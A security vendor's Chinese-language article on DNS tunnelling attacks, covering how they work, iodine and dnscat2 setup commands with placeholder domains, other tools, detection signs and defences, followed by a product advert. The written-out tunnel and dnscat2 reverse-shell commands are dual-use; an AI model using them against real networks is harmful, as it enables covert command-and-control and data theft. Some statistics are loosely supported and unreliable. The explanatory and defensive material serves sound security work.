您的位置: 新闻资讯 > 行业动态 > 正文

DNS 隧道攻击:原理、工具与流量分析(图文)


来源:mozhe 2024-10-14

DNS 隧道攻击是一种极具隐蔽性的网络攻击手段。在当今网络环境中,安全设备不断升级以应对各种传统攻击方式,但 DNS 隧道攻击却能巧妙地绕过这些检测。
其核心原理在于利用 DNS 协议的特性,将不属于 DNS 查询或答案的信息隐藏在域名系统的隧道中。正常情况下,DNS 协议主要用于域名解析,将域名转换为 IP 地址。然而,攻击者却别出心裁地利用这个协议,在常规 DNS 流量中建立秘密的通信路径。例如,攻击者可以通过将恶意数据分割成小块,封装在 DNS 查询请求中发送出去,接收方的 DNS 服务器解析出数据后再封装在响应中返回,从而实现隐蔽的数据传输。
据相关数据显示,近 91.3% 的恶意程序被发现使用 DNS 作为主要入侵手段,这充分说明了 DNS 隧道攻击的普遍性和严重性。DNS 隧道攻击对传统安全设备如网络防火墙等有较强的穿透性,攻击成本相对较低,但攻击效果却十分明显。一方面,由于 DNS 是网络服务入口,是所有业务访问必经之路,这使得攻击者可以很好地隐藏自己;另一方面,防火墙一般对 DNS 流量比较友好,在 DNS 请求中插入其他数据,有可能会被防火墙放过。
总的来说,DNS 隧道攻击作为一种隐蔽的网络攻击方式,给网络安全带来了巨大的挑战。

二、攻击原理剖析

(一)核心思想阐述


在正常的网络通信中,两台机器建立 TCP 连接后进行通信。若目标是 IP 地址,则直接发送报文;若目标是域名,则先将域名解析为 IP 地址再进行通信。C&C 服务器在建立连接后,可将指令传递给客户端上的后门程序。DNS 隧道攻击的核心思想便是利用这一过程,在后门程序进行 DNS 查询时,如果查询的域名不在 DNS 服务器本机的缓存中,就会访问互联网进行查询并返回结果。如果互联网上有一台攻击者设置的服务器,那么服务器就可以依靠域名解析的响应进行数据包的交换。从 DNS 协议的角度来看,这种操作只是反复查询某个或者某些特定的域名并得到解析结果,但其本质是,DNS 预期的返回结果应该是一个 IP 地址,而事实上不是 —— 返回的可以是任意字符串,包括加密的 C&C 指令,从而将其他协议封装在 DNS 协议中进行传输。

(二)两种攻击模式


DNS 隧道攻击分为直连模式和中继模式。直连模式下,客户端直接向指定 IP 地址的 DNS 服务器发起 DNS 解析请求。这种模式的优点是速度相对较快,因为不需要经过互联网的迭代解析,直接与指定的服务器进行通信。然而,其安全性相对较差。由于直连模式的限制较多,如目前很多企业网络为了降低遭受网络攻击的风险,一般将相关策略配置为仅允许与指定的可信任 DNS 服务器之间的流量通过,所以直连模式容易被发现和阻断。
中继模式则是 DNS 经过互联网的迭代解析,指向指定的 DNS 服务器。这种模式相对较为隐蔽,因为它利用了正常的 DNS 查询过程,通过多个节点的迭代解析,使得攻击流量更难被检测到。但是,中继模式的速度相对较慢,因为数据包需要经过多个节点才能到达目标服务器。大多数情况下,攻击者会选择中继模式,因为其安全性相对较高,能够更好地规避安全设备的检测。

三、常用攻击工具


(一)iodine
iodine 是一款基于 C 语言开发的工具,具有诸多强大的功能特性。它支持 EDNS、base32、base64、base128 等多种编码规范,可在不同的平台上运行,包括 Linux、Windows、MacOS 等。同时,iodine 支持转发模式和中继模式,不会对下行数据进行编码,还支持 16 个并发连接和强密码机制,并且能在同网段隧道 IP 低质的情况下工作,还支持多种 DNS 记录类型,提供了丰富的隧道质量检测措施。
安装 iodine 首先需要部署域名解析,准备一台公网 VPS 作为 C&C 服务器,并配置一个域名。创建一个 “A” 记录,将域名解析到 VPS 服务器地址,然后创建 NS 记录,将 NS 的主机记录名指向记录值。服务端启动命令为 “iodined -f -c -P password 192.168.100.100 xxx.xxx.xyz -DD”,其中 “-f” 表示在前台运行,“-c” 禁止检查所有传入请求的客户端 IP 地址,“-P” 指定密码,“-DD” 指第二级调试级别。客户端以 Windows 系统为例,需以管理员身份运行命令启动 iodine,如 “iodine -f -P password xxx.xxx.xyz”。连接成功后,客户端会多出一块虚拟网卡 “dns0”,此时服务端与客户端处于同一局域网,可通过如 3389(mstsc)、22(ssh 建立连接)等服务进行通信。

(二)dnscat2


dnscat2 的服务器端和客户端安装部署过程如下:
服务器端环境部署
  1. 部署域名解析:创建 A 记录,将 “ns1.xxx.xxx” 指向 vps ip 地址;创建 NS 记录,将 “dnstunnel.xxx.xxx” 指向 “ns1.xxx.xxx”。
  1. 安装 dnscat2 服务器:安装相关依赖后,从 GitHub 克隆代码并安装。
  1. 启动服务器:有域名连接方式和直连方式。域名连接方式为 “ruby dnscat2.rb dnstunnel.xxx.xxx -e open -c aa8j --no-cache”,其中 “-e” 规定安全级别,“open” 表示允许客户端不加密,“-c” 为连接密码,“--no-cache” 禁止缓存;直连方式为 “ruby dnscat2.rb --dns server=127.0.0.1,port=53,type=TXT --script=aa8j”。
客户端部署
  1. 安装 dnscat2 客户端:Linux 系统可从 GitHub 克隆代码并编译安装,Windows 系统可从特定链接下载。
  1. 连接服务器:测试访问,若出现错误可尝试清空 dns 缓存或更换 dns 服务器。域名连接方式在 Linux 和 Windows 下类似,如 “./dnscat --dns domain=dnstunnel.xxx.xxx --secret aa8j”;直连方式为 “./dnscat --dns server=<vps_ip_address>,port=53,type=TXT --secret=aa8j”。在 Windows 下还可以使用 powershell 连接。
服务端常用命令包括 “session -i <id>” 用于连接特定会话,“kill <id>” 中断通道,“set” 设置参数,“windows” 列举所有通道,“window -i <id>” 或 “session -i <id>” 连接某个通道,“clear” 清屏,“delay” 修改远程会话超时时间,“exec” 执行远程机上的程序,“shell” 得到一个反弹 shell,“download/upload” 进行两端之间上传下载文件,“supend” 返回到上一层等。

(三)其他工具汇总


OzymanDNS 是最早的 DNS 隧道之一,诞生于 2004 年,基于 perl 开发,使用较复杂。数据请求用 base32 编码,响应使用 base64 编码,支持 TXT 类型,不太兼容 Windows,推荐在 Linux 下运行。安装使用时,服务端需编辑配置文件并启动,客户端连接时需注意域名格式和 SSH 端口。
tcp-over-dns 诞生于 2008 年,是一种类似 OzymanDNS 的 DNS 隧道,僵尸主机通过它可以绕过认证上网。它是迭代型 DNS 隧道,能很好地隐藏 C2 服务器的 IP 地址。
Heyoka 是用于执行 DNS 隧道的高级工具,处于 Alpha 状态,使用二进制编码加速数据传输并欺骗 DNS 请求以使其更难检测。

四、流量分析方法

(一)识别异常流量


DNS 隧道攻击通常会在 DNS 流量中留下一些异常迹象,通过对这些迹象的分析,可以有效地识别可能的隧道攻击。
首先,观察特定域名的反复查询是一种常见的方法。在正常的网络使用中,用户对特定域名的查询频率通常是有限的。然而,在 DNS 隧道攻击中,攻击者为了传输数据,可能会频繁地对特定域名进行查询。例如,如果发现某个客户端在短时间内对同一个域名进行了数十次甚至上百次的查询,这就可能是 DNS 隧道攻击的迹象。根据一些研究数据,当一个客户端对特定域名的查询频率超过每分钟 5 次时,就有较大的可能存在异常情况。
其次,异常大量的数据也可能是 DNS 隧道攻击的信号。正常的 DNS 查询通常包含的数据量较小,而在隧道攻击中,攻击者可能会将大量的数据封装在 DNS 查询请求中。如果发现某个 DNS 查询包含的数据量远远超出正常范围,比如超过 512 字节,就需要引起警惕。
此外,来自特定源的 DNS 请求数量过多也可能表明存在 DNS 隧道活动。如果某个 IP 地址在一段时间内发出了大量的 DNS 请求,远远超过该 IP 地址在正常情况下的请求数量,那么这可能是攻击者利用该 IP 地址进行隧道攻击的迹象。

(二)防御手段介绍


为了有效防御 DNS 隧道攻击,可以采取多种防御措施。
DNS 防火墙:通过对 DNS 流量进行实时监控和分析,DNS 防火墙能够识别并过滤掉恶意的 DNS 请求和响应。它可以根据预设的策略,阻止恶意域名的解析,从而防止恶意软件利用 DNS 隧道进行通信。例如,当 DNS 防火墙检测到某个域名的请求频率异常高或者请求中包含可疑的数据时,它可以自动阻止该域名的解析请求。
缓存服务器优化:优化 DNS 缓存服务器的配置,设置合理的 TTL(Time-to-Live)值,可以减少 DNS 缓存时间,降低 DNS 缓存投毒攻击的风险,进而减少 DNS 隧道被利用的可能性。比如,将 TTL 值设置为较短的时间,如 30 分钟,可以确保 DNS 缓存中的数据及时更新,减少攻击者利用过期缓存数据进行隧道攻击的机会。
DNSSEC(DNS 安全扩展):DNSSEC 利用数字签名和公钥加密技术,保证 DNS 响应的完整性和真实性。这有助于防止 DNS 劫持和 DNS 欺骗攻击,从而提高 DNS 服务的安全性,减少 DNS 隧道被滥用的风险。通过对 DNS 数据进行签名和验证,可以确保用户接收到的 DNS 响应是来自合法的权威服务器,而不是被攻击者篡改过的响应。
DDoS 防护:实时监测 DNS 流量,及时发现并阻止 DDoS 攻击,确保 DNS 服务的可用性。这可以防止攻击者利用 DDoS 攻击分散注意力,从而为实施 DNS 隧道攻击提供便利。DDoS 防护系统可以通过监测 DNS 流量的异常变化,如流量突然激增、来自特定 IP 地址的大量请求等,及时采取措施进行拦截和防御。
流量分析:通过对 DNS 流量进行深度分析,可以识别和阻止 DNS 隧道攻击。使用机器学习算法和行为分析技术,可以识别出异常的 DNS 流量,提高对 DNS 隧道攻击的检测能力。例如,通过对大量的 DNS 流量数据进行训练,机器学习模型可以学习到正常 DNS 流量的模式和特征,从而能够检测出与正常模式不符的异常流量。
 

墨者安全 防护盾

墨者安全作为专业级别安全防护专家,在应对 Webshell 风险隐患方面展现出了卓越的能力。其拥有全面的检测机制,能够精准识别 Webshell 的各种类型和变体,无论是复杂的大马,还是隐蔽的内存马,都难逃其敏锐的监测。
墨者安全防护盾具备强大的实时监控功能,对服务器的各项活动进行 7*24 小时不间断的监视。一旦发现任何可疑的 Webshell 活动迹象,立即发出警报,并迅速采取隔离和清除措施,将风险扼杀在萌芽状态。
在防护策略上,墨者安全防护盾采用了多层次的防御体系。不仅能够在网络层面阻挡外部的恶意访问和攻击,还能深入系统内部,对服务器的文件系统、进程等进行深度检查和保护,确保 Webshell 无法植入和运行。
同时,墨者安全防护盾拥有快速的应急响应能力。当 Webshell 攻击事件发生时,专业的安全团队能够迅速介入,进行深入的分析和处理,最大程度减少攻击带来的损失,并帮助用户快速恢复服务器的正常运行。
墨者安全防护盾还注重用户教育和培训,为用户提供关于 Webshell 防范的专业知识和最佳实践,帮助用户提升自身的安全意识和防范能力,共同构建坚实的网络安全防线。

热门文章

X

7x24 小时

免费技术支持

15625276999


-->